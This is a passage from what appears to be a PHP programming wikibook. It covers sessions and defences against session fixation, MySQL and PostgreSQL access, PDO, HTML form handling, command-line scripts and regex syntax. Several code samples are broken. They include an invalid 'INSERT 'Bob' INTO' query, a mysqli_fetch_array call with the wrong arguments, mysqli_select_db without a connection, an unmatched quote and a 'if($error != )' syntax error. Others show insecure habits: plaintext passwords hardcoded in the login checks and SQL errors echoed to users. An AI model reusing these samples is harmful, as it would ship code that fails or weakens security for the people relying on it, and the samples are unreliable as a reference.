Sessions allow the PHP script to store data on the web server that can be later used, even between requests to different PHP pages. Every session has a different identifier, which is sent to the client's browser as a cookie or as a $_GET variable. Sessions end when the user closes the browser, or when the web server deletes the session information, or when the programmer explicitly destroys the session. In PHP it's usually called **PHPSESSID**. Sessions are very useful to protect the data that the user wouldn't be able to read or write, especially when the PHP developer doesn't want to give out information in the cookies as they are easily readable. Sessions can be controlled by the $_SESSION superglobal. Data stored in this array is persistent throughout the session. It is a simple array. Sessions are much easier to use than cookies, which helps PHP developers a lot. Mostly, sessions are used for user logins, shopping carts and other additions needed to keep browsing smooth. PHP script can easily control the session's cookie which is being sent and control the whole session data. Sessions are always stored in a unique filename, either in a temporary folder or in a specific folder, if a script instructs to do so.

23.1 Using Sessions

At the top of each PHP script that will be part of the current session there must be the function `session_start()`. It must be before the first output (echo or others) or it will result in an error ”Headers already sent out”.

```
session_start();
```

This function will do these actions:

1. it will check the `_COOKIE` or `_GET` data, if it is given
2. if the session file doesn't exist in the `session.save_path` location, it will:
   a) generate a new Unique Identifier, and
   b) create a new file based on that Identifier, and
   c) send a cookie to the client's browser
3. if it does exist, the PHP script will attempt to store the file's data into `_SESSION` variable for further use

Now, you can simply set variables in 2 different ways, the default method:

```
$_SESSION['example'] = "Test";
```

Or the deprecated method:

```
$example="Test";
session_register($example);
```

Both of the above statements will register the session variable `$_SESSION['example']` as "Test". The deprecated method should not be used, it is only listed because you can still see it in scripts written by programmers that don't know the new one. The default method is preferred.

23.1.1 Session Configuration Options

PHP sessions are easy to control and can be made even more secure or less secure with small factors. Here are runtime options that can be easily changed using php_ini() function:

Name	Default	Changeable
session.save_path	"/tmp"	PHP_INI_ALL
session.name	"PHPSESSID"	PHP_INI_ALL
session.save_handler	"files"	PHP_INI_ALL
session.auto_start	"0"	PHP_INI_ALL
session.gc_probability	"1"	PHP_INI_ALL
session.gc_divisor	"100"	PHP_INI_ALL
session.gc_maxlifetime	"1440"	PHP_INI_ALL
session.serialize_handler	"php"	PHP_INI_ALL
session.cookie_lifetime	"0"	PHP_INI_ALL
session.cookie_path	"/"	PHP_INI_ALL
session.cookie_domain	""	PHP_INI_ALL
session.cookie_secure	""	PHP_INI_ALL
session.use_cookies	"1"	PHP_INI_ALL
session.use_only_cookies	"0"	PHP_INI_ALL
session.referer_check	""	PHP_INI_ALL
session.entropy_file	""	PHP_INI_ALL
session.entropy_length	"0"	PHP_INI_ALL
session.cache_limiter	"nocache"	PHP_INI_ALL
session.cache_expire	"180"	PHP_INI_ALL
session.use_trans_sid	"0"	PHP_INI_SYSTEM/PHP_INI_PERDIR
session.bug_compat_42	"1"	PHP_INI_ALL
session.bug_compat_warn	"1"	PHP_INI_ALL
session.hash_function	"0"	PHP_INI_ALL
session.hash_bits_per_character	"4"	PHP_INI_ALL
url_rewriter.tags	"a=href,area=href,frame=src,input=src,form=fakeentry"	PHP_INI_ALL

A simple example of this use would be this code:

```
//Setting The Session Saving path to "sessions", '''must be protected from
reading'''
session_save_path("sessions"); // This function is an alternative to
ini_set("session.save_path","sessions");
//Session Cookie's Lifetime ( not effective, but use! )
ini_set("session.cookie_lifetime",time()+60*60*24*500);
//Change the Session Name from PHPSESSID to SessionID
session_name("SessionID");
//Start The session
session_start();
//Set a session cookie ( Required for some browsers, as settings that had been
done before are not very effective
setcookie(session_name(), session_id(), time()+3600*24*365, "/");
```

This example simply sets the cookie for the next year.

23.1.2 Ending a Session

When user clicks ”Logout”, or ”Sign Off”, you would usually want to destroy all the login data so nobody could have access to it anymore. The session file will be simply deleted as well as the cookie to be unset by:

```
session_destroy();
```

23.1.3 Using Session Data of Other Types

Simple data such as integers, strings, and arrays can easily be stored in the $_SESSION superglobal array and be passed from page to page. But problems occur when trying to store the state of an object by assignment. Object state can be stored in a session by using the serialize() function. serialize() will write the objects data into an array which then can be stored in a $_SESSION supergloblal. unserialize() can be used to restore the state of an object before trying to access the object in a page that is part of the current session. If objects are to be used across multiple page accesses during a session, the object definition must be defined before calling unserialize(). Other issues may arise when serializing and unserializing objects.

23.2 Avoiding Session Fixation

> Wikipedia[1] has related information at ***Session fixation***[2]

Session fixation describes an attack vector in which a malicious third-party sets (i.e. *fixes*) the session identifier (SID) of a user, and is thus able to access that user's session. In the base-level implementation of sessions, as described above, this is a very real vulnerability, and every PHP program that uses sessions for anything at all sensitive should take steps to remedy it. The following, in order of how widely applicable they are, are the measures to take to prevent session fixation:

1. Do not use GET or POST variables to store the session ID (under most PHP configurations, a cookie is used to store the SID, and so the programmer doesn't need to do anything to implement this);
2. Regenerate the SID on each user request (using `session_regenerate_id()`[3] at the *beginning* of the session);
3. Use session time-outs: for each user request, store the current timestamp, and on the next request check that the timeout interval has not passed;
4. Provide a logout function;
5. Check the 'browser fingerprint' on each request. This is a hash, stored in a `$_SESSION` variable, comprising some combination of the user-agent header, client IP address, a salt value, and/or other information. See below for more discussion of the details of

1 https://en.wikipedia.org/wiki/
2 https://en.wikipedia.org/wiki/Session_fixation
3 http://php.net/manual/en/function.session-regenerate-id.php

this; it is thought by some to be nothing more than 'security through obscurity'. [TODO]

6. Check referrer: this does not work for all systems, but if you know that users of your site *must* be coming from some known domain you can discard sessions tied to users from elsewhere. It relies on the user agent providing the referrer header, which should not be assumed.

This example code addresses all of the above points save the referrer check.

```
$timeout = 3 * 60; // 3 minutes
$fingerprint = md5('SECRET-SALT'.$_SERVER['HTTP_USER_AGENT']);
session_start();
if ( (isset($_SESSION['last_active']) && (time() >
 ($_SESSION['last_active']+$timeout)))
     || (isset($_SESSION['fingerprint']) &&
 $_SESSION['fingerprint']!=$fingerprint)
     || isset($_GET['logout']) ) {
    do_logout();
}
session_regenerate_id();
$_SESSION['last_active'] = time();
$_SESSION['fingerprint'] = $fingerprint;
```

The `do_logout()` function destroys the session data and unsets the session cookie.

24 MySQL

24.1 MySQL

MySQL[1] is the most popular database used with PHP. PHP with MySQL is a powerful combination showing the real power of Server-Side scripting. PHP has a wide range of MySQL functions available with the help of a separate module. In PHP5, this module has been removed and must be downloaded separately.

MySQL allows users to create tables, where data can be stored much more efficiently than the way data is stored in arrays.

In order to use MySQL or databases in general effectively, you need to understand SQL[2], or Structured Query Language.

Note that this page uses the mysqli functions and not the old mysql functions.

24.2 How to - Step By Step

24.2.1 Connecting to the MySQL server

PHP has the function **mysqli_connect** to connect to a MySQL server that handles all of the low level socket handling. We will supply 4 arguments; the first is the name of your MySQL server, the second a MySQL username, third a MySQL password and last a database name. In this example, it is assumed your server is localhost. If you are running a web server on one system, and MySQL on another system, you can replace localhost with the IP address or domain name of the system that MySQL resides on (ensure all firewalls are configured to open the appropriate ports). **mysqli_connect** returns a link_identifier that we can now use for communicating with the database. We will store this link in a variable called *$cxn*.

```
<?php
  $cxn = mysqli_connect ("localhost", "your_user_name", "your_password",
 "database_name");
?>
```

24.2.2 Running a Query

We have connected to the mysql server and then selected the database we want to use, now we can run an SQL query over the database to select information, do an insert, update

1 https://en.wikibooks.org/wiki/Programming:MySQL
2 https://en.wikibooks.org/wiki/SQL

or delete. To do this we use **mysqli_query**. This takes two arguments: the first is our link_identifier and the second is an SQL query string. If we are doing a select sql statement **mysqli_query** generates a resource or the Boolean false to say our query failed, and if we are doing a delete, insert or update it generates a Boolean, true or false, to say if that was successful or not.

The basic code for running a query is the php function "mysqli_query($cxn, $query)". The "$query" argument is a MySQL query. The database argument is a database connection(here, the connection represented by $cxn). For example, to return the query "SELECT * FROM customers ORDER BY customer_id ASC", you could write

```
<?php
    mysqli_query($cxn, "SELECT * FROM customers ORDER BY customer_id ASC");
?>
```

However, this straightforward method will quickly become ungainly due to the length of MySQL queries and the common need to repeat the query when handling the return. All (or almost all) queries are therefore made in two steps. First, the query is assigned a variable (conventionally, this variable is named "$query" or "$sql_query" for purposes of uniformity and easy recognition), which allows the program to call simply "mysqli_query($cxn, $sql_query)".

```
$sql_query = "SELECT * FROM customers ORDER BY customer_id ASC";
```

Secondly, to handle the information returned from the query, practical considerations require that the information returned also be assigned to a variable. Again by convention rather than necessity (i.e. you could name it anything you wanted), this information is often assigned to "$result", and the function is called by the assignment of the variable.

It is important to understand that this code **calls the function mysqli_query**, in addition to assigning the return to a variable "$result". [**NOTE**: The queries that ask for information – SELECT, SHOW, DESCRIBE, and EXPLAIN – return what is called a resource[3]. Other types of queries, which manipulate the database, return TRUE if the operation is successful and FALSE if not, or if the user does not have permission to access the table referenced.]

To catch an error, for debugging purposes, we can write:

```
<?php
   $result = mysqli_query ($cxn, $sql_query)
     or die (mysqli_error () . " The query was:" . $sql_query);
?>
```

NOTE: The semi colon for the function before the die statement is omitted.

If the function **mysqli_query** returns false, PHP will terminate the script and print an error report from MySQL (such as "you have an error in your SQL syntax") and the query.

Thus, our final code would be, assuming that there were a database connection named $cxn:

3 https://en.wikibooks.org/w/index.php?title=Resource&action=edit&redlink=1

```
<?php
$sql_query = "SELECT * FROM customers ORDER BY customer_id ASC";
$result = mysqli_query ($cxn, $sql_query)
    or die (mysqli_error () . " The query was:" . $sql_query);
?>
```

24.2.3 Putting it all together

In the previous sections we looked at three commands, but not at how to use them in conjunction with each other. So let's take a look at selecting information for a table in our mysql database called *MyTable*, which is stored in a mysql database called *MyDB*.

```
<?php
     //Connect to the mysql server and get back our link_identifier
     $link = mysql_connect ("your_database_host", "your_user_name",
 "your_password")
                   or die('Could not connect: ' . mysql_error());

     //Now, we select which database we would like to use
     mysql_select_db ("MyDB", $link) or die('could not select database');

 //Our SQL Query
 $sql_query = "Select * From MyTable";

 //Run our sql query
 $result = mysql_query($sql_query)or die('query failed'. mysql_error());


     //Close Database Connection
     mysql_close ($link);
 ?>
```

NOTE: If the link identifier is not specified, the last link opened by mysql_connect()[4] is assumed.

24.2.4 The Create Database Query

[By admin@technofranchise.com : We have used my_sqli connector that is the latest construct. There are some other tutorials that use my_sql construct to make the database connections (Don't confuse with it. Our constructor is the latest one) The creation of the database is our first step when accessing the backend MySql Server with php script. This can be achieved by connecting with the server. After that, creating the database.

```
<?php
$cn=mysqli_connect("localhost","your_username","my_password");

//connecting the server
if (mysqli_connect_errno())
{
echo "Error in establisihng the connection:" . mysqli_connect_error();
}
$sql_query="CREATE DATABASE  MyDB";
if (mysqli_query($cn,$sql_query))
{
```

4 http://www.php.net/manual/en/function.mysql-connect.php

```
echo "Database has been created";
}
else
{
echo "Error while creating the database: ’’ . mysqli_error($cn);
}
?>
```

24.2.5 The Create Table Query

The process of creating the table is as easy as creating the database. We have to execute the create table query using the mysqli construct

```
<?php
$cn=mysqli_connect("localhost","my_username","my_password","MyDatabase");

if (mysqli_connect_errno())
{
echo "Connection failed : " . mysqli_connect_error();
}
$sql_query="CREATE TABLE  MyTable(firstName VARCHAR(18), lastName VARCHAR(18),
 salary DECIMAL(5,4) )";
if (mysqli_query($cn,$sql_query))
{
echo "Table created successfully";
}
else
{
echo "Error encountered  while creating the table : " . mysqli_error($cn);
}
?>
```

24.2.6 Getting Select Query Information with older connector construct

Well that doesn't help, because what are we to do with *$result*? Well when we do a select query we select out information from a database we get back what is known as a resource, and that is what is stored in *$result*, our resource identifier. A resource is a special type of PHP variable, but lets look at how to access information in this resource.

We can use a function called **mysql_fetch_assoc** it takes one parameter, our resource identifier *$result*, and generates an associative array corresponding to the fetched row. Each column in the table corresponds to an index with the same name. We can now extract out information and print it like so:

```
<?php
 //Connect to the mysql server and get back our link_identifier
 $link = mysql_connect("localhost", "your_user_name", "your_password")
         or die('Could not connect: ' . mysql_error());


 //Now, we select which database we would like to use
 mysql_select_db("MyDB") or die('could not select database');

 //Our SQL Query
 $sql_query = "Select * From MyTable";

 //Run our sql query
```

```
$result = mysql_query($sql_query)or die('query failed'. mysql_error());

//iterate through result
while($row = mysql_fetch_assoc($result))
{
    //Prints out information of that row
    print_r($row);
    echo $row['foo'];
    //Prints only the column foo.
}

// Free resultset (optional)
mysql_free_result($result);


//Close the MySQL Link
mysql_close($link);
?>
```

24.2.7 Inserting the records with latest connector construct

```
<?php
$cn=mysqli_connect("localhost","your_username","your_password","MyDB");
if (mysqli_connect_errno())
{
echo "Connection failed : " .
mysqli_connect_error();
}
mysqli_query($cn,"INSERT INTO MyTable(firstName, lastName, salary) VALUES
 ('George','Smith' ,55000)");

mysqli_close($cn);

?>
```

24.2.8 Updating the records with latest connector construct

```
<?php
$cn=mysqli_connect("localhost","your_username","your_password","MyDB");
if (mysqli_connect_errno())
{
echo "Connection failed : " . mysqli_connect_error();
}
mysqli_query($cn,"Update MyTable Set salary=6000 Where firstName='George' AND
 lastName='Smith' ");
mysqli_close($cn);
?>
```

24.2.9 Delete the records

```
<?php
$cn=mysqli_connect("localhost","your_username","your_password","MyDB");
if (mysqli_connect_errno())
{
echo "Connection failed : " . mysqli_connect_error();
}
mysqli_query($cn,"Delete From MyTable Where firstName='George' AND
 lastName='Smith' ");
```

```
mysqli_close($cn);
?>
```

24.3 PHP + MySQL + Sphinx

Once you understand the basics of how MySQL functions with PHP you might want to start learning about full text search engines. Once your site gets large (millions of database records) MySQL queries will start to get painfully slow, especially if you use them to search for text with wildcards:

```
WHERE content='%text%')
```

There are many free/paid solutions to stop this problem. A good open source full text search engine is Sphinx Search[5]. There is a WikiBook on how to use it with PHP and MySQL that explains the concepts of how Indexing works. You might want to read it before reading the official documentation.

24.4 External links

- PHP Manual: MySQL Extension and Functions[6]
- MySQL Homepage[7]
- MySQL Developer's Homepage and manual[8]
- Database Operations with PHP[9]

5 https://en.wikibooks.org/wiki/Sphinx_Search
6 http://www.php.net/manual/en/ref.mysql.php
7 http://www.mysql.com/
8 http://www.mysql.com/
9 http://technofranchise.com/database-operations-with-php/

25 PHP and MySQL

25.1 Introduction

Note: You should know SQL to use MySQL. You can learn that in the SQL[1] book.

PHP integrates well with MySQL, and contains a library full of useful functions to help you use MySQL. There are even many database[2] managers written in PHP.

MySQL is not a part of the server that runs PHP, it is a different server. MySQL is one of many database servers, it is open source and you can get it here[3].

As of PHP5, MySQLi integration is not enabled by default and you should add it manually, see here[4] for installation instructions, PHP4 has it enabled by default.

Note: mysql_*() functions are deprecated in PHP 5.6+ and removed in PHP7+ . Use PDO or mysqli instead.

Let's get started!

25.2 Connecting to a MySQL server

To connect with a MySQL server, you should use the mysqli_connect() function or mysqli() class. It is used in the following manner:

```
mysqli_connect(servername, username, password,database);
```

servername - The name or address of the server. Usually 'localhost'. *username*, *password* - The username and password used to login to the server.

database - The database name you want to select. It's optional.

25.2.1 Multiple MySQL connections

Though not commonly used, you can connect to more than one database server in one script. On a successful connection, *mysqli_ connect()* returns a reference to the server, which you can capture with a variable:

---

1 https://en.wikibooks.org/wiki/Structured_Query_Language
2 https://en.wikipedia.org/wiki/Database
3 http://www.mysql.com
4 http://il.php.net/manual/en/ref.mysqli.php

```
$con = mysqli_connect("localhost", "root", "123");
$con2 = mysqli_connect("http://www.example.com/", "root", "123");
```

25.2.2 Selecting your database

In order to perform most actions(except for creating, dropping and listing databases, of course), you must select a database. To do so, use *mysqli_ select_ db()* only if you didn't defined it in *mysqli_ connect()*.

```
mysqli_select_db(db_name);
```

Where db_name is the database name.

By default, *mysqli_ select_ db()* will try to select the database on the last mySQL connection opened. So in the following code, *mysqli_ select_ db()* will try to select the database on the "example.com" server.

```
$con = mysqli_connect("localhost", "root", "123");
$con2 = mysqli_connect("example.com:3306", "root", "123");
mysqli_select_db("database1");
```

The function takes a second, optional, parameter that you can use to select a different database then the one last opened:

```
$con = mysqli_connect("localhost", "root", "123");
$con2 = mysqli_connect("example.com:3306", "root", "123");
mysqli_select_db("database1", $con);
```

25.3 Executing a query

To execute a query, use *mysqli_ query()*. For example:

```
mysqli_query($con,"UPDATE table1 SET column1='value1', column2='value2' WHERE
 column3='value3'");
```

Important: mysqli_query() returns a resource link which you *will* need for certain operations. So you should capture it by storing the result in a variable:

```
$query1 = mysqli_query($con,"UPDATE table1 SET column1='value1',
 column2='value2' WHERE column3='value3'");
```

25.3.1 Functions for SELECT queries

Executing a SELECT query is all good and well, but just sometimes, we may want the result (people are strange like that). The PHP developers are those strange people, and they added to PHP a few functions to help up with that:

mysqli_fetch_row()

Returns the next row in the result. It is returned as an array, so you should capture it in a variable.

For example:

```
$query1 = mysqli_query($con,"SELECT id, name, address FROM phone_book");

$person = mysqli_fetch_row($query1);

print_r($person);
```

This should output something like this:

```
Array
{
    [0] => 1
    [1] => Sharon
    [2] => Helm, 3
}
```

This function will always return the next row in the result, until eventually it runs out of rows and it returns *false*. A very common use of this function is with a *while* loop, for example:

```
$query1 = mysqli_query($con,"SELECT id, name, address FROM phone_book");

while($person = mysqli_fetch_row($query1))
{
    print_r($person);
    echo "\n";
}
```

This should output something like this:

```
Array
{
    [0] => 1
    [1] => Sharon
    [2] => Helm, 3
}
Array
{
    [0] => 2
    [1] => Adam
    [2] => 23rd street, 5
}
Array
{
    [0] => 3
    [1] => Jane
    [2] => Unknown
}
```

mysqli_fetch_array()

This one does exactly what *mysqli_fetch_row()* does, except for the fact it returns an associative array.

```
$query1 = mysqli_query($conn,"SELECT id, name, address FROM phone_book");

$person = mysqli_fetch_array($con,$query1);

print_r($person);
```

Should output something like this:

```
Array
{
    [id] => 1
    [name] => Sharon
    [address] => Helm, 3
}
```

mysqli_num_rows()

Sometimes we want to know how many rows we get in the result of a query. This can be done by something like this:

```
$counter = 0;
$query1 = mysqli_query($con,"SELECT id, name, address FROM phone_book");

while(mysqli_fetch_row($query1))
{
    $counter++;
}
```

$counter now stores the amount of rows we got from the query, but PHP has a special function to handle this:

```
$query1 = mysqli_query($con,"SELECT id, name, address FROM phone_book");
$counter = mysqli_num_rows($query1);
```

$counter stores the same value, but wasn't that easier?

25.3.2 Functions for other queries

The following functions are not just for SELECT queries, but for many types of queries. Those queries can be useful in many cases.

mysqli_info()

Will return information about the last query executed, or about the query you send it a resource of:

```
mysqli_info();    //For the last query executed
mysql_info($query); //For $query, what ever that is...
```

The information is returned as string, and though it's templated, it's not normally to be analyzed by the script, but to be used in output.

mysqli_affected_rows()

Returns the number of rows affected by a query, only works with INSERT, UPDATE or DELETE queries:

```
mysqli_affected_rows();       //For the last query executed
mysqli_affected_rows($query); //For $query, what ever that is
```

mysqli_insert_id()

Returns the id mysql assigned to the auto_increment column of the table after an INSERT query.

```
$result = mysqli_query($con,"INSERT 'Bob' INTO names(firstname)");
$new_id = mysqli_insert_id();
```

Note: You should call mysqli_insert_id() straight after performing the query. If another statement is issued in between mysqli_insert_id() will return NULL!

25.4 Closing a connection

You should use *mysqli_close()* to close a mySQL connection. This would typically close the last connection opened, but, of course, you can send it a connection identifier.

```
mysqli_close();  //Close the last connection opened
mysqli_close($con); //Close connection $con
```

26 PostgreSQL

PostgreSQL is another popular database you can use with PHP.

If you are already familiar with how to interface with MySQL in PHP, then the following chart should make the conversion to PostgreSQL much easier.

26.1 Functions

Connecting: mysql_connect()[1] takes three arguments (server, username, password) while pg_connect()[2] takes a single connection string argument.

mysql_connect() Example: $db = mysql_connect('localhost', 'mysql_user', 'mysql_pass');

pg_connect() Example: $db = pg_connect('host=localhost user=pg_user password=pg_pass dbname=my_database');

Database Selection: In MySQL, you have to separately specify the name of the database you wish to connect to, while in PostgreSQL it is built into pg_connect()'s connection string.

Querying: mysql_query()[3] and pg_query()[4] behave in the same manner.

mysql_query() Example: $grab_people = mysql_query("SELECT * FROM people WHERE id_num = 3761832");

pg_query() Example: $grab_people = pg_query("SELECT * FROM people WHERE id_num = 3761832");

Fetching Associative Results: mysql_fetch_assoc()[5] and pg_fetch_assoc()[6] behave in the same manner.

mysql_fetch_assoc() Example: $person = mysql_fetch_assoc($grab_people);

pg_fetch_assoc() Example: $person = pg_fetch_assoc($grab_people);

Grabbing Errors: While MySQL makes use of mysql_error()[7], PostgreSQL uses pg_last_error()[8].

---

1 http://php.net/mysql_connect%7C
2 http://php.net/pg_connect%7C
3 http://php.net/mysql_query%7C
4 http://php.net/pg_query%7C
5 http://php.net/mysql_fetch_assoc%7C
6 http://php.net/pg_fetch_assoc%7C
7 http://php.net/mysql_error%7C
8 http://php.net/pg_last_error%7C

mysql_error() Example: $error = mysql_error();

pg_last_error() Example: $error = pg_last_error();

Closing Database Connection: mysql_close()[9] and pg_close()[10] behave in the same manner.

mysql_close Example: mysql_close($db);

pg_close Example: pg_close($db);

Freeing Results: mysql_free_result()[11] and pg_free_result()[12] behave in the same manner.

mysql_free_result() Example: mysql_free_result($grab_people);

pg_free_result() Example: pg_free_result($grab_people);

26.2 Full MySQL Example

```
$db = mysql_connect('localhost', 'mysql_user', 'mysql_pass');
$grab_people = mysql_query("SELECT * FROM people WHERE id_num = 3761832");
$person = mysql_fetch_assoc($grab_people);
print_r($person);
$error = mysql_error();
if($error != ) { print $error; }
mysql_free_result($grab_people);
mysql_close($db);
```

26.3 Full PostgreSQL Example

```
$db = pg_connect('host=localhost user=pg_user password=pg_pass
dbname=my_database');
$grab_people = pg_query("SELECT * FROM people WHERE id_num = 3761832");
$person = pg_fetch_assoc($grab_people);
print_r($person);
print pg_last_error();
pg_free_result($grab_people);
pg_close($db);
```

26.4 For More Information

- PHP PostgreSQL manual[13]
- PostgreSQL homepage and documentation[14]

9 http://php.net/mysql_close%7C
10 http://php.net/pg_close%7C
11 http://php.net/mysql_free_result%7C
12 http://php.net/pg_free_result%7C
13 http://us.php.net/pgsql
14 http://postgresql.org

27 PHP Data Objects

This page or section is an undeveloped draft or outline.
You can help to develop the work[1], or you can ask for assistance in the project room[2].

The information given here is not applicable to all versions of PHP

Versions applicable: PHP 5.0 and above

The PHP Data Objects extension requires features that were introduced in PHP 5.0, and will not be available to users of PHP 4.x and below.

PHP Data Objects, also known as **PDO**, is an interface for accessing databases in PHP without tying code to a specific database. Rather than directly calling *mysql_* , *mysqli_* , and *pg_* functions, developers can use the PDO interface, simplifying the porting of applications to other databases.

27.1 How do I get it?

The PHP Data Objects extension is currently included by default with installations of PHP 5.1. It is available for users of PHP 5.0 through PECL, but does not ship with the base package.

PDO uses features of PHP that were originally introduced in PHP 5.0. It is therefore not available for users of PHP 4.x and below.

27.2 Differences between PDO and the MySQL extension

PHP Data Objects has a number of significant differences to the MySQL interface used by most PHP applications on PHP 4.x and below:

- Object-orientation. While the *mysql* extension used a number of function calls that operated on a connection handle and result handles, the PDO extension has an object-oriented interface.
- Database independence. The PDO extension, unlike the *mysql* extension, is designed to be compatible with multiple databases with little effort on the part of the user, provided standard SQL is used in all queries.

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming&action=edit
2 https://en.wikibooks.org/wiki/Wikibooks:PROJECTS

- Connections to the database are made with a **Data Source Name**, or **DSN**. A DSN is a string that contains all of the information necessary to connect to a database, such as 'mysql:dbname=test_db'.

27.3 PHP Data Objects usage example

```
$dsn = 'mysql:dbname=database_name;host=localhost';
$dbuser = 'database_user';
$dbuserpw = 'database_user_password';

try
{
    $connection = new PDO($dsn, $dbuser, $dbuserpw);
}
catch (PDOException $e)
{
    echo 'There was a problem connecting to the database: ' . $e->getMessage();
}

$query = $connection->query("SELECT * FROM table"); // querying the database
```

For more information on data source names and the elements in a DSN string for a specific PDO driver (such as MySQL and PostgreSQL), see PHP: PDO Drivers - Manual[3]

27.4 External links

- PHP: PDO - Manual[4]

3 http://www.php.net/manual/en/pdo.drivers.php
4 http://www.php.net/pdo

28 Neo4j

Neo4j[1] is a NO-SQL graph database. It uses a querying language called cypher to query the database. The data are generally organized as nodes, vertex and relation between them. This organization helps in building recommendation easy with neo4j. If you are using frame works like Laravel or Symfony appropriate drivers can be used. else if you are building without frameworks proceed as follows to connect to neo4j by using the following methods.

1. Neo4jPHP
2. NeoClient
3. Neo4j-OGM-PHP
4. neo4j-pdo
5. PHP Cypher

1 `https://neo4j.com/`

29 DBAL

29.1 What is a database abstraction layer?

A database abstraction layer[1] (DBAL) is a couple of functions or a class which deals with every aspects of database handling.

First of all you have a function to connect and to disconnect to/from the database. You also have some functions to submit a query, and to get the results and finally you need to have some error-handling functions too.

29.2 Why to use a DBAL instead of the regular php functions?

Of course you do not replace the php-functions, you just connect them to get a better performance when you need to develop your code, validate the data, etc.

If you use a really flexible DBAL, then you do not need to change every line of your code if you switch from one database type to the other.

29.3 How to write a DBAL?

Most users should not be writing their own DBAL, since there are several ready-to-use open-source DBALs available. One of the benefits of a DBAL is to make code more reusable, and writing your own DBAL (unless it achieves wide acceptance in the PHP community) is counterproductive. The most common one is the PEAR:DB package[1] which is already installed on the majority of web servers.

You can find some less sophisticated DBALs in the source files of some well written open-source CMS sites also.

29.4 References

1. [2]

1 https://en.wikipedia.org/wiki/database_abstraction_layer
2 http://pear.php.net/package/DB

30 Integration Methods (HTML Forms, etc.)

30.1 Integrating PHP

There are quite a few ways that PHP is used. Following are a few methods that PHP can be called.

30.2 Forms

Forms are, by far, the most common way of interacting with PHP. As we mentioned before, it is recommended that you have knowledge of HTML[1], and here is where we start using it. If you don't, just head to the HTML Wikibook[2] for a refresher.

30.2.1 Form Setup

To create a form and point it to a PHP document, the HTML tag <form> is used and an action is specified as follows:

```
<form method="post" action="action.php">
    <!-- Your form here -->
</form>
```

Once the user clicks "Submit", the form body is sent to the PHP script for processing. All fields in the form are stored in the variables $_GET or $_POST, depending on the method used to submit the form.

The difference between the GET and POST methods is that GET submits all the values in the URL, while POST submits values transparently through HTTP headers. A general rule of thumb is **if you are submitting sensitive data, use POST**. POST forms usually provide more security.

Remember $_GET and $_POST are superglobal arrays, meaning you can reference them anywhere in a PHP script. For example, you don't need to call *global $_POST* or *global $_GET* to use them inside functions.

30.2.2 Example

Let's look at an example of how you might do this.

---

1 https://en.wikibooks.org/wiki/HTML
2 https://en.wikibooks.org/wiki/HTML

```
<!-- Inside enterlogin.html -->
<html>
<head>
 <title>Login</title>
</head>
<body>
 <form method="post" action="login.php">
  Please log in.<br/>
  Username: <input name="username" type="text" /><br />
  Password: <input name="password" type="password" /><br/>
  <input name="submit" type="submit" />
</form>
</body>
</html>
```

This form would look like the following:

Please log in.	
Username:	...
Password:	...
	submit

And here's the script you'd use to process it (login.php):

```
<?php
 // Inside enterlogin.html
 if($_POST['username'] == "Spoom" && $_POST['password'] ==
"idontneednostinkingpassword")
 {
  echo("Welcome, Spoom.");
 }
 else
 {
  echo("You're not Spoom!");
 }
?>
```

Let's take a look at that script a little closer.

```
if($_POST['username'] == "Spoom" && $_POST['password'] ==
"idontneednostinkingpassword")
```

As you can see, $_POST is an array, with keys matching the names of each field in the form. For backward compatibility, you can also refer to them numerically, but you generally shouldn't as this method is much clearer. And that's basically it for how you use forms to submit data to PHP documents. It's that easy.

30.2.3 For More Information

PHP Manual: Dealing with Forms[3]

3 http://www.php.net/manual/en/tutorial.forms.php

30.3 PHP from the Command Line

Although PHP was originally created with the intent of being a web language, it can also be used for commandline scripting (although this is not common, because simpler tools such as the bash scripting are available).

30.3.1 Output

You can output to the console the same way you would output to a webpage, except that you have to remember that HTML isn't parsed (a surprisingly common error), and that you have to manually output newlines. The typical hello world program would look like this:

```
<?php
  print "Hello World!\n";
?>
```

Notice the newline character at the end-of-line - newlines are useful for making your output look neat and readable.

30.3.2 Input

PHP has a few special files for you to read and write to the command line. These files include the stdin, stdout and stderr files. To access these files, you would open these files as if they were actual files using fopen, with the exception that you open them with the special php:// "protocol", like this:

```
$fp = fopen("php://stdin","r");
```

To read from the console, you can just read from stdin. No special redirection is needed to write to the console, but if you want to write to stderr, you can open it and write to it:

```
$fp = fopen("php://stderr","w");
```

Bearing how to read input in mind, we can now construct a simple commandline script that asks the user for a username and a password to authenticate himself.

```
<?php
  $fp = fopen("php://stdin","r");

  print "Please authenticate yourself\n";
  print "Username: ";
  // rtrim to cut off the \n from the shell
  $user = rtrim(fgets($fp, 1024));
  print "Password: ";
  // rtrim to cut off the \n from the shell
  $pass = rtrim(fgets($fp, 1024));
  if (($user=="someuser") && ($pass=="somepass")) {
   print "Good user\n";
   // ... do stuff ...
 } else die("Bad user\n");
 fclose($fp);
?>
```

Note that this script just serves as an example as to how to utilise PHP for commandline programming - the code contained here demonstrates a very poor way to authenticate a user or to store a password. Remember that your PHP scripts are readable by others!

30.3.3 For More Information

- PHP Manual: PHP from the Command Line[4]

4 `http://www.php.net/features.commandline`

31 Regular expressions

31.1 Syntax

Usual regular expressions[1]		
Character	**Type**	**Explanation**
.	Dot	any character
[...]	Brackets	character class[2]: all the enumerated characters in the class
[^...]	Brackets and circumflex	complemented class[3]: all the characters except for the enumerated ones
^	Circumflex	string or line start
$	Dollar	string or line end
|	Pipe	alternative
(...)	Parenthesis	capture group[4]: also used to limit the range of an alternative
*	Asterisk	0, 1 or several occurrences
+	Plus	1 or several occurrences
?	Interrogation	0 or 1 occurrence

POSIX[5] **characters classes**[1]	
Classe	**Signification**
[[:alpha:]]	any letter
[[:digit:]]	any digit
[[:xdigit:]]	hexadecimal characters
[[:alnum:]]	any letter or digit
[[:space:]]	any white space
[[:punct:]]	any punctuation letter
[[:lower:]]	any small cap letter
[[:upper:]]	any capital letter
[[:blank:]]	space or tabulation
[[:graph:]]	displayable et printable characters
[[:cntrl:]]	escaping characters

2 https://en.wiktionary.org/wiki/character_class
3 https://en.wiktionary.org/wiki/complemented_class
4 https://en.wiktionary.org/wiki/capture_group

POSIX[5] characters classes[1]	
[[:print:]]	printable characters, except for the control ones

Unicode regex[2]	
Expression	**Signification**
\A	String start
\b	Start or end of word character
\d	Digit
\D	Non digit
\s	Space characters
\S	Non space characters
\w	Letter, digit or underscore
\W	Non letter, digit or underscore character
\X	Unicode character
\z	String end

- `?:`: ignore the capture group when numeration. Ex: `((?:ignored_substring|other).)`
- `?!`: negation. Ex: `((?!excluded_substring).)`
- `$1`: first capture group result.

